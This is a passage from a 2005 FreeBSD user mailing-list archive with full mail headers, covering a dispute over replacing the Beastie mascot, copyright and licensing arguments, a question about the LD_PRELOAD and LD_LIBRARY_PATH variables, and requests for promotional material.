I do not see it anywhere. Is there a command to see it or a sysctl which shows it or anything? Any ideas would be appreciated. Please CC: me on any replies as I am not subscribed to the list yet. Thank you, Holt G. __________________________________ Do you Yahoo!? Yahoo! Mail - 250MB free storage. Do more. Manage less. http://info.mail.yahoo.com/mail_250 From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 06:01:34 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id E68A216A4CE for ; Sat, 12 Feb 2005 06:01:34 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 71AB643D31 for ; Sat, 12 Feb 2005 06:01:34 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1C61aj29900 for ; Fri, 11 Feb 2005 22:01:37 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Fri, 11 Feb 2005 22:01:35 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <649200329.20050211081852@wanadoo.fr> Importance: Normal Subject: RE: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 06:01:35 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Thursday, February 10, 2005 11:19 PM > To: freebsd-questions@freebsd.org > Subject: Re: Please don't change Beastie to another crap logo such > asNetBSD!!! > > > Ted Mittelstaedt writes: > > > That is so not true that it makes me almost as angry as the original > > debate. > > Maybe getting angry about a mere logo is a bad sign. > Then if it is so unimportant why change it from beastie? Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 06:13:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F2FB516A4CE for ; Sat, 12 Feb 2005 06:12:59 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id A3D5E43D39 for ; Sat, 12 Feb 2005 06:12:59 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1C6D2j29934; Fri, 11 Feb 2005 22:13:02 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Fri, 11 Feb 2005 22:13:01 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <467538167.20050211234639@wanadoo.fr> Importance: Normal cc: atkielski.anthony@wanadoo.fr Subject: RE: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 06:13:00 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Friday, February 11, 2005 2:47 PM > To: freebsd-questions@freebsd.org > Subject: Re: Please don't change Beastie to another crap logo such > asNetBSD!!! > > > Joshua Tinnin writes: > > > I don't think you understand the history of FreeBSD. Many people who > > work at Yahoo! are committers, and their employer not only > knows about > > this but encourages it. > > That's not good enough. The employer has to assign its copyrights as > well, or waive the usual work-for-hire arrangement that is implicit for > employees writing code within the scope of their work. > Anthony, The committers do know about this and are careful about it. You will note that this is discussed more fully here: http://www.freebsd.org/doc/en_US.ISO8859-1/articles/contributing/contrib- how.html under the section: New Code or Major Value-Added Packages I am very surprised that you missed this. Could it be made any more obvious? Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 06:15:27 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C3FDC16A4CE for ; Sat, 12 Feb 2005 06:15:27 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5B31343D1D for ; Sat, 12 Feb 2005 06:15:27 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1C6FUj29953 for ; Fri, 11 Feb 2005 22:15:30 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Fri, 11 Feb 2005 22:15:28 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <1619864952.20050211235338@wanadoo.fr> Importance: Normal Subject: RE: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 06:15:27 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Friday, February 11, 2005 2:54 PM > To: freebsd-questions@freebsd.org > Subject: Re: Please don't change Beastie to another crap logo such > asNetBSD!!! > > > Chad Leigh -- Shire.Net LLC writes: > > > I don't know. Go ask them. Look in the codebase yourself, or pay > > someone to do so. > > Is this what you would tell someone contemplating a multimillion-dollar > investment in a FreeBSD rollout to 10,000 servers? "I don't > know"? "Look > it up yourself"? > No, I would tell them: "Please contact my sales manager to discuss terms on which you may retain me to consult for this project" Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 06:20:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CE1E416A4CE for ; Sat, 12 Feb 2005 06:20:06 +0000 (GMT) Received: from clunix.cl.msu.edu (clunix.cl.msu.edu [35.9.2.10]) by mx1.FreeBSD.org (Postfix) with ESMTP id 2F65943D1D for ; Sat, 12 Feb 2005 06:20:06 +0000 (GMT) (envelope-from jerrymc@clunix.cl.msu.edu) Received: (from jerrymc@localhost) by clunix.cl.msu.edu (8.11.7p1+Sun/8.11.7) id j1C6K5k02714; Sat, 12 Feb 2005 01:20:05 -0500 (EST) From: Jerry McAllister Message-Id: <200502120620.j1C6K5k02714@clunix.cl.msu.edu> To: freebsd-questions@freebsd.org Date: Sat, 12 Feb 2005 01:20:05 -0500 (EST) In-Reply-To: <54120611.20050212045028@wanadoo.fr> from "Anthony Atkielski" at Feb 12, 2005 04:50:28 AM X-Mailer: ELM [version 2.5 PL2] MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit cc: Jerry McAllister Subject: Re: SPAM: Score 3.3: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 06:20:06 -0000 > > Matthias Buelow writes: > > > And your point is..? > > I can see that FreeBSD marketing has a long way to go. To where? FreeBSD is not marketed in any particular way - on purpose. No one wants to do it, so no one will do it. ////jerry > > -- > Anthony > > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 06:22:26 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 41C4316A4CE for ; Sat, 12 Feb 2005 06:22:26 +0000 (GMT) Received: from usw2.natel.net (2b.bz [209.152.117.190]) by mx1.FreeBSD.org (Postfix) with SMTP id 67D9643D2D for ; Sat, 12 Feb 2005 06:22:25 +0000 (GMT) (envelope-from WD@US-Webmasters.com) Received: (qmail 84412 invoked from network); 12 Feb 2005 06:22:20 -0000 Received: from batv-01-008.dialup.netins.net (HELO Htebazile.US-Webmasters.com) (216.248.109.9) by us-webmasters.com with SMTP; 12 Feb 2005 06:22:20 -0000 Message-Id: <5.1.0.14.2.20050212001903.19a9e4b0@209.152.117.178> X-Sender: wd@209.152.117.178 X-Mailer: QUALCOMM Windows Eudora Version 5.1 Date: Sat, 12 Feb 2005 00:21:32 -0600 To: Peterhin From: "W. D." In-Reply-To: <200502112313.28082.hindrich@worldchat.com> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable cc: freebsd-questions@freebsd.org Subject: Re: Freebsd vs. linux X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 06:22:26 -0000 At 22:13 2/11/2005, Peterhin wrote: >Good day, I am a Newbie to Freebsd and was just reading your reply > "Re. Instead of freebsd.com, why not..." and you made the comment; > =20 >"Linux is inferior to FreeBSD, and yet it is taken more seriously=20 >because of the atmosphere around it, despite its technical inferiority" > >Could you please either explain, why Freebsd is superior to Linux, (I am=20 >asking this as I would like to understand, in more depth, why it is=20 >better) or direct me to a source that might give me some further=20 >reading on the subject. >I would really appreciate a better understanding of the differences=20 >between Freebsd and Linux. FreeBSD vs. Linux discussions: http://tinyurl.com/2f8np http://www.offmyserver.com/cgi-bin/store/news/techtv_090303.html http://tinyurl.com/6xhrz http://www.over-yonder.net/~fullermd/rants/bsd4linux/bsd4linux8.php http://www.InternetWeek.com/story/showArticle.jhtml?articleID=3D12800936 http://Search.Yahoo.com/search?p=3D%22FreeBSD+vs.+Linux%22 http://www.Google.com/search?q=3D%22FreeBSD+vs.+Linux%22 Much of what runs on Linux also runs on FreeBSD, either 'natively' or using Linux emulation. http://www.Google.com/search?q=3DFreeBSD+features+Linux Here is an installation how-to that I've worked up: http://www.US-Webmasters.com/FreeBSD/Install/ HTH Start Here to Find It Fast!=99 ->= http://www.US-Webmasters.com/best-start-page/ $8.77 Domain Names -> http://domains.us-webmasters.com/ From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 06:37:45 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 9C74C16A4CE for ; Sat, 12 Feb 2005 06:37:45 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 336A243D2F for ; Sat, 12 Feb 2005 06:37:45 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1C6blj30024 for ; Fri, 11 Feb 2005 22:37:48 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: Date: Fri, 11 Feb 2005 22:37:46 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <7710307462.20050211180554@wanadoo.fr> Importance: Normal Subject: RE: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 06:37:45 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Anthony > Atkielski > Sent: Friday, February 11, 2005 9:06 AM > To: freebsd-questions@freebsd.org > Subject: Re: Please don't change Beastie to another crap logo such > asNetBSD!!! > > > Bart Silverstrim writes: > > > People want to change the logo from Beastie to something else because > > Beastie isn't professional enough, so some committers > decided to hold a > > contest for a new logo? > > Beastie isn't a logo. There is no logo for FreeBSD at the moment. Wrong, I already answered your earlier post where you claim that the image wasn't used as a logo. > > A more likely problem is that the devil-worship aspect of Beastie might > prevent religiously fanatic potential customers from considering the OS > in the first place, thus making it impossible to get a foot in > the door. I am sure that Walmart has lots of people working on device drivers that are badly needed in FreeBSD. > > Would you prefer that FreeBSD remain the best kept secret on the Web? > It's a good operating system ... why not promote it? It's better than > Linux. It would be nice to see a technically superior product actually > win, for once. > Fundamentally impossible, Anthony. Technically superior products are technically superior because they have MORE than the customary R&D put into them. That makes them MORE expensive than the median/mediocre products that dominate a market. If you want to play on a team that makes the best product in the business, then you are going to have to be content with the minority of the market that truly wants the best product that money can buy. If however your shooting for the largest market segment, then your going to have to make your product as cheap as you can get it and have it still meet the minimum criteria needed to work. This is why the new Rolls Royce puts out 435 hp @ 5000 rpm, will do the quarter mile in 14.3 seconds, has a top speed of 130Mph, and costs nearly half a million dollars. They only make about 600-1000 of them a year, you know. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 06:41:08 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C00B116A4CE for ; Sat, 12 Feb 2005 06:41:08 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.195]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6C4D343D2D for ; Sat, 12 Feb 2005 06:41:08 +0000 (GMT) (envelope-from ramang@gmail.com) Received: by wproxy.gmail.com with SMTP id 36so417101wri for ; Fri, 11 Feb 2005 22:41:06 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=cUPA6xofHzP74til5K2bUa0vuSBz6FByvfvJcTRmm3DA/OePcIz5gyFiucZyMHWPt0ynPA/V47xABj+5nX+FbgBnhwbQilvW92F6SethPGJlJQuoY+0sOL5gOVq2xIJpxgHxCBOrmosPUXwFTluhzHsNcmV+/kDoGnflpUcxyl0= Received: by 10.54.17.71 with SMTP id 71mr327418wrq; Fri, 11 Feb 2005 22:41:05 -0800 (PST) Received: by 10.54.17.40 with HTTP; Fri, 11 Feb 2005 22:41:05 -0800 (PST) Message-ID: Date: Sat, 12 Feb 2005 01:41:05 -0500 From: Raman To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: LD_ *vars X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Raman List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 06:41:08 -0000 Hi, I want to modify and recompile an application already installed on my FreeBSD 4.10 machine and then when I'm done with it go back to the way it was with that application before I modified and recompiled it. I heard I should use bash and edit the LD_* vars. I was not able to find anything about them on www.freebsd.org. I wanted to know how LD_PRELOAD and LD_LIBRARY_PATH worked. Thank you for your help and time. - Raman From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 06:44:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3558816A4CE for ; Sat, 12 Feb 2005 06:44:11 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id AF1E943D2D for ; Sat, 12 Feb 2005 06:44:10 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1C6huj30069; Fri, 11 Feb 2005 22:43:56 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Vonleigh Simmons" , Date: Fri, 11 Feb 2005 22:43:54 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <48C6F1D6-7C4B-11D9-A6C5-000D93C7878E@illusionart.com> Importance: Normal Subject: RE: Please don't change Beastie to another crap logo such asNetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 06:44:11 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Vonleigh > Simmons > Sent: Friday, February 11, 2005 8:38 AM > To: freebsd-questions@freebsd.org > Subject: Re: Please don't change Beastie to another crap logo such > asNetBSD!!! > > > > As an artist here is how I see it: Beastie is a mascot, > not a logo. > It's like having "Disney" with a Mickey Mouse. The logo is either the > word Disney in that very distinct font, or the black ears. The mascot > can be part of the logo but not always; in the Disney example it's > derived from it (this approach could work with Beastie). Another > example is monster.com, that also has a distinct mascot and a logo > (don't like the logo, just pointing it out). > > So the logo contest could use beastie in some > interesting way: framed, > simplified, stylized, vectorized, etc. In other words made > into a real > logo from the cartoon character. By stylize I mean for example > what the > fox looks like in the firefox logo. > That already has been done, it was done over a decade ago by Walnut Creek. The logo they created and used for FreeBSD is exactly that. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 06:58:28 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 91F1816A4CE for ; Sat, 12 Feb 2005 06:58:28 +0000 (GMT) Received: from web51003.mail.yahoo.com (web51003.mail.yahoo.com [206.190.38.134]) by mx1.FreeBSD.org (Postfix) with SMTP id 1323A43D1D for ; Sat, 12 Feb 2005 06:58:28 +0000 (GMT) (envelope-from fasi_74@yahoo.com) Received: (qmail 21658 invoked by uid 60001); 12 Feb 2005 06:58:27 -0000 Comment: DomainKeys? See http://antispam.yahoo.com/domainkeys DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=s1024; d=yahoo.com; b=tGeuwSKkFgz1lj4lfZd36+807kQoyOT6+y7lTOM0SiG7gmIQtqbzzuJY/cLp2im/LkxYJg85nG+sN8QmwjkCUpewGR2YrenNcc9CRfEbzdAR/tI1JJ5JwHU9O3cMCeBWnORN7qOOLWYh77VweggGoDvAqBS2qy/Q71BMYubxSvk= ; Message-ID: <20050212065827.21656.qmail@web51003.mail.yahoo.com> Received: from [202.147.160.231] by web51003.mail.yahoo.com via HTTP; Fri, 11 Feb 2005 22:58:27 PST Date: Fri, 11 Feb 2005 22:58:27 -0800 (PST) From: faisal gillani To: freebsd-questions@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Subject: OT sharing how,tos & articles ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 06:58:28 -0000 well i am builting a opensource softwares related site on which i have a articals section ill use to promote open source softwares in my reagion , so i was thinking does the open source people allow their documentations to be shared ? if not all then can u recommend a site about freeBSD that will let me do so ? ===== *º¤., ¸¸,.¤º*¨¨¨*¤ Allah-hu-Akber*º¤., ¸¸,.¤º*¨¨*¤ God is the Greatest __________________________________________________ Do You Yahoo!? Tired of spam? Yahoo! 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X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 06:59:16 -0000 well i am builting a opensource softwares related site on which i have a articals section ill use to promote open source softwares in my reagion , so i was thinking does the open source people allow their documentations to be shared ? if not all then can u recommend a site about freeBSD that will let me do so ? also if you have any good articals , mail me on opensource@clickonlinenetworks.com thanks ===== *º¤., ¸¸,.¤º*¨¨¨*¤ Allah-hu-Akber*º¤., ¸¸,.¤º*¨¨*¤ God is the Greatest __________________________________ Do you Yahoo!? Take Yahoo! Mail with you! Get it on your mobile phone. http://mobile.yahoo.com/maildemo From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 07:00:59 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3D0AA16A4CE for ; Sat, 12 Feb 2005 07:00:59 +0000 (GMT) Received: from web51005.mail.yahoo.com (web51005.mail.yahoo.com [206.190.38.136]) by mx1.FreeBSD.org (Postfix) with SMTP id 8E4E843D5D for ; Sat, 12 Feb 2005 07:00:58 +0000 (GMT) (envelope-from fasi_74@yahoo.com) Received: (qmail 98306 invoked by uid 60001); 12 Feb 2005 07:00:58 -0000 Comment: DomainKeys? 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X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 07:00:59 -0000 i want to promote freebsd on my site , where can i find good looking freebsd AD banners ? if you have mail me on opensource@clickonlinenetworks.com thanks ===== *º¤., ¸¸,.¤º*¨¨¨*¤ Allah-hu-Akber*º¤., ¸¸,.¤º*¨¨*¤ God is the Greatest __________________________________ Do you Yahoo!? Read only the mail you want - Yahoo! Mail SpamGuard. http://promotions.yahoo.com/new_mail From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 07:12:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F403D16A4CE; Sat, 12 Feb 2005 07:12:51 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6850443D2F; Sat, 12 Feb 2005 07:12:51 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1C7Chj30181; Fri, 11 Feb 2005 23:12:44 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Robert Marella" Date: Fri, 11 Feb 2005 23:12:42 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <1108160150.45718.5.camel@p4> Importance: Normal cc: freebsd-questions@freebsd.org cc: Garance A Drosehn Subject: Why in the world you should have a vote: was RE: Please don't change Beastie to another crap logo suchas NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 07:12:52 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Robert Marella > Sent: Friday, February 11, 2005 2:16 PM > To: Ted Mittelstaedt > Cc: freebsd-questions@freebsd.org; Garance A Drosehn > Subject: RE: Please don't change Beastie to another crap logo suchas > NetBSD!!! > > > On Thu, 2005-02-10 at 21:31 -0800, Ted Mittelstaedt wrote: > > > > What if they put it > > to a vote and the userbase all votes for logos that clearly > > represent the Beastie image? What will have been the point of > > the contest? > > I am a FreeBSD user. I read and sometimes respond to several of the > lists. I have donated money and will continue to donate money > to FreeBSD > no matter what the logo will be. > > I also donate money and volunteer my time to Hospice. I do not get nor > expect to be able to vote on any issues that may arise at a board > meeting for The Hospice of Kona. > > Why in the world should I expect to be able to vote on whether a new > logo is adopted or not? > I will tell you exactly why and it is one of the most exciting reasons to use FreeBSD. With almost ALL OTHER so-called "open source" projects, and this includes Linux, Apple's open source, etc. the source code copyright is held by a company or an individual, not by a non-profit that specifically exists for the purpose of holding the copyright in public trust. The exceptions are, of course, the HANDFUL of GNU utilities (such as gcc) where the copyright was assigned over to the FSF by the authors. Most of this code is also under the GPL, which is a restrictive license, not an open one. Because of this, LOTS of situations exist such as MySQL AB, where the owners of the copyright - in this case Mysql AB - license mysql out to companies. At the same time they issue mysql under the GPL. Of course, as long as they continue feeding the advances that are driven by their commercial customers back into the open source code that is under the GPL, then everything is great for the rest of us. But, NOTHING prevents them from simply NOT doing this. Even the Linux kernel itself remains copyrighted by Linus Torvalds. So what you say, Linus would never do anything to harm Linux so why does this matter? Well, unfortunately the copyright on the Linux kernel is going to supersede Linus's lifespan. His heirs will determine what happens to it. He has shown no interest in donating it to the FSF. So what you say, the GPL-licensed Linux kernel will just immediately fork if his heirs try going after anybody. Yes, that will happen. Then for the next 20 years the heirs will file lawsuits that will make the SCO-suing-IBM lawsuit look like child's play. Imagine how the FUD will affect commercial users. And I'm sorry to say but forking WON'T remove the heir's copyright on Linux - all it will do is make it possible to continue adding new stuff to it. This could potentially happen to ANY GPL software that has a copyright retained by the developer. The GPL has NEVER YET BEEN TESTED IN COURT. The FSF in fact has an entire team of lawyers that specialize in out-of-court settlements SPECIFICALLY TO PREVENT the GPL from EVER being legally tested. So far this HAS worked because all plaintiffs have had their price. But sooner or later a plaintiff will come along that will not give a crap how much money the FSF offers them, they will insist on going to trial and having a judge decide. If the judge then rules the GPL is a pile of dog poop - imagine what will happen. In fact, no less than the FSF themselves, STRONGLY ENCOURAGE anyone licensing their code under GPL to donate the copyright to the FSF simply to avoid this kind of problem. Very few so far have done so. With BSD, the copyrights on it are held by the University of Berkeley and by the FreeBSD Project. The COPYRIGHT, (not the license) is SPECIFICALLY written to PERMIT COMPLETELY UNRESTRICTED USE of the code - with the one exception - that is if you use any BSD code in your product, that YOUR OWN COPYRIGHT MUST mention that some of the code is copyrighted by UCB and the FreeBSD Project. YOU ARE NOT PREVENTED FROM ANY REDISTRIBUTION of the software. Meaning that you can use it and sell it the SAME as if you wrote a product from scratch and sold it. And here is the best part: WHO makes up The FreeBSD Project? Is it the committers? NO Is it UCB? NO Is it any single developer? NO It is EVERYONE WHO CONTRIBUTES ANYTHING TO FREEBSD. You, me, anyone who wants to be involved in the FreeBSD Project, all you need to do is start contributing and YOU ARE IN IT!!! Thus, FREEBSD BELONGS TO YOU!! That's, right YOU!! Your a member of the FreeBSD Project - you are one of the owners of the FreeBSD code. That's it, simple as that. So, of course you should have a vote. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 07:22:01 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D4DF516A4CE for ; Sat, 12 Feb 2005 07:22:01 +0000 (GMT) Received: from out006.verizon.net (out006pub.verizon.net [206.46.170.106]) by mx1.FreeBSD.org (Postfix) with ESMTP id 52ECA43D2D for ; Sat, 12 Feb 2005 07:22:01 +0000 (GMT) (envelope-from leblanc@keyslapper.org) Received: from keyslapper.org ([68.163.189.143]) by out006.verizon.net (InterMail vM.5.01.06.06 201-253-122-130-106-20030910) with ESMTP id <20050212072200.TSJ28674.out006.verizon.net@keyslapper.org> for ; Sat, 12 Feb 2005 01:22:00 -0600 Received: from localhost (localhost [127.0.0.1]) by keyslapper.org (Postfix) with ESMTP id D14AF11BA6 for ; Sat, 12 Feb 2005 02:21:59 -0500 (EST) Received: from keyslapper.org ([127.0.0.1]) by localhost (keyslapper.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 42442-09 for ; Sat, 12 